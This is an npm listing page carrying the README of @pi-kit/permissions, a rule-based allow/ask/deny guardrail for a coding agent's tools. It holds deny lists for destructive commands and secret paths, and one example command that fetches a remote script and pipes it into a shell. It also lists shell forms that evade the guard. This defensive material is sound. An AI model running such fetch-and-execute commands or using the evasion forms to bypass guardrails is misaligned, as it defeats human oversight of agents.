npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@pi-kit/permissions

v0.3.0

Published

Allow/ask/deny guardrail extension for the Pi coding agent. No third-party runtime dependencies.

Readme

@pi-kit/permissions

An allow / ask / deny guardrail for the Pi coding agent's built-in tools. No third-party runtime dependencies, no build step, small enough to read before you install it. It guards against agent mistakes; it is not a sandbox (see Limitations).

Install

pi install npm:@pi-kit/permissions

Restart Pi. With no configuration, the defaults apply.

What it does

Every tool call resolves to one outcome:

  • allow — the call runs.
  • ask — you choose Allow once, Allow for this session, or Deny. With no UI (pi -p), ask becomes headlessAsk, which defaults to deny.
  • deny — the call is blocked and the model is told which rule fired.

Rules match on four dimensions:

| Dimension | Matches | Pattern syntax | |---|---|---| | bash | the command of bash and powershell | anchored; * matches anything, including spaces and / | | paths | path inputs of the tools in paths.appliesTo | anchored; * stays within a segment, ** crosses; ~ expands; relative patterns resolve against cwd; checked against the path as written and its absolute form | | tools | the tool name | exact, or * | | outsideCwd | any path outside cwd, for the tools in paths.appliesTo | a single allow / ask / deny |

Configuration

JSON, one file per scope. Every key is optional.

| Scope | Path | |---|---| | Global | ~/.pi/agent/extensions/pi-kit-permissions.json (honours PI_CODING_AGENT_DIR) | | Project | <cwd>/.pi/extensions/pi-kit-permissions.json, loaded only when the project is trusted |

Defaults

{
  "defaultMode": "allow",
  "headlessAsk": "deny",
  "outsideCwd": "ask",
  "tools": {},
  "bash": {
    "deny": ["rm -rf *", "git push --force*", "git reset --hard*"],
    "ask": ["npm publish*", "git push*"],
    "allow": []
  },
  "paths": {
    "appliesTo": ["write", "edit"],
    "deny": [".env", ".env.local", ".env.*.local", "**/.env", "**/.env.local"],
    "ask": [".github/**", ".git/**", ".pi/**"],
    "allow": []
  }
}

Under the defaults, read /etc/hosts is allowed (read is not in appliesTo), write /etc/hosts asks, and write .env.example is allowed (the deny patterns are deliberately narrow). Writes under .git/ (hooks run as code) and .pi/ (project extensions and this package's own project config) ask.

Keys

| Key | Values | Meaning | |---|---|---| | defaultMode | allow ask deny | Outcome when no rule matches | | headlessAsk | allow deny | What ask becomes with no UI | | outsideCwd | allow ask deny | Outcome for a path outside cwd; allow disables the check | | tools, bash | { deny, ask, allow } | Pattern lists | | paths | { appliesTo, deny, ask, allow } | appliesTo names the tools these rules and outsideCwd cover |

Combining scopes

Defaults, then global, then the trusted project file.

  • Rule lists add up. No scope can remove an inherited rule.
  • The global file overwrites scalars. defaultMode, headlessAsk, outsideCwd, and paths.appliesTo take the global value when it sets them.
  • A project can only tighten. Its scalars apply only when stricter than the inherited value (deny > ask > allow), and its paths.appliesTo adds tools rather than replacing the list. A looser value is ignored and named in the footer banner. Its allow rules still apply.
  • To relax a global rule, edit the global file.

A file that fails to parse or validate contributes no rules, is named in a footer banner, and forces defaultMode: ask and headlessAsk: deny for the session. Fix it and start a new session.

Precedence

  1. Within a dimension, lists are checked deny → ask → allow; the first match wins. Specificity is ignored: deny: ["git *"] beats allow: ["git status"].
  2. Across dimensions, the most restrictive result wins: deny > ask > allow. No match anywhere yields defaultMode.
  3. Compound commands (split on unquoted &&, ||, ;, |, &, newline): deny and ask also match each piece; allow matches only the whole command. A piece can make the outcome stricter, never looser. Deny and ask also match each piece after collapsing whitespace and stripping leading VAR= assignments and the wrappers timeout, time, nice, nohup, stdbuf, command, builtin, noglob, env. allow does not: allow: ["npm test"] does not cover timeout 30 npm test.
  4. Shell path targets: redirect targets and the file arguments of cat, head, tail, sed and tee are checked against paths.deny and paths.ask as the tool they imitate (> and tee = write, sed -i = edit, the rest = read), and only when that tool is in appliesTo. These checks can only make the outcome stricter. Path allow and outsideCwd do not apply to them.

| Situation | Outcome | |---|---| | bash.allow matches, defaultMode: deny | allow | | tools.allow: ["write"], write /etc/hosts, outsideCwd: ask | ask | | bash.deny matches one piece of a && b, bash.allow the other | deny | | bash.allow: ["ls"], defaultMode: deny, command ls && curl x | deny | | echo K=v >> .env under the defaults | deny |

These rows are executed by test/decide.test.ts.

Session approvals

Allow for this session remembers the exact request (tool, command, paths as written) until the session ends; nothing is written to disk. It is consulted only after the rules return ask, so it never overrides a deny.

Recipes

Gate reads too:

{ "paths": { "appliesTo": ["read", "write", "edit", "ls", "grep", "find"] } }

Protect secrets outside the repo:

{ "paths": { "appliesTo": ["read", "write", "edit"], "deny": ["~/.ssh/**", "~/.aws/**"] } }

Ask before git and network operations:

{ "bash": { "ask": ["git push*", "git rebase*", "curl *", "wget *", "npm install*"] } }

Ask by default, allowing only these exact commands:

{
  "defaultMode": "ask",
  "bash": { "allow": ["ls", "git status", "git diff", "git log", "pnpm test"] }
}

Prefer complete commands in allow. A trailing * also matches chained commands: ls* allows ls && curl https://example.com/script | sh unless a deny or ask rule matches.

Limitations

This is a guardrail against agent mistakes, not a security boundary. For enforcement, run Pi in a container or an OS sandbox.

  • Not caught: forms whose only purpose is evasion — bash -c, eval, $(...), backticks, $VAR, /bin/rm, xargs, find -exec.
  • Not parsed: text inside subshells; $HOME in paths; a relative path after cd (it still resolves against cwd); cp/mv destinations; heredoc bodies, which are scanned like commands and can over-match; symlinks.
  • RPC clients receive ask as an extension UI request and must answer it; an unanswered request leaves the tool call waiting (cancel = deny).

Supported versions

Node 22.19 or newer. Pi: no minimum version; recent Pi releases are tested weekly — latest results.

Dependencies

None at runtime. @earendil-works/pi-coding-agent and typebox are optional peers that Pi supplies; scanner alerts on them belong to the Pi host.

Licence

MIT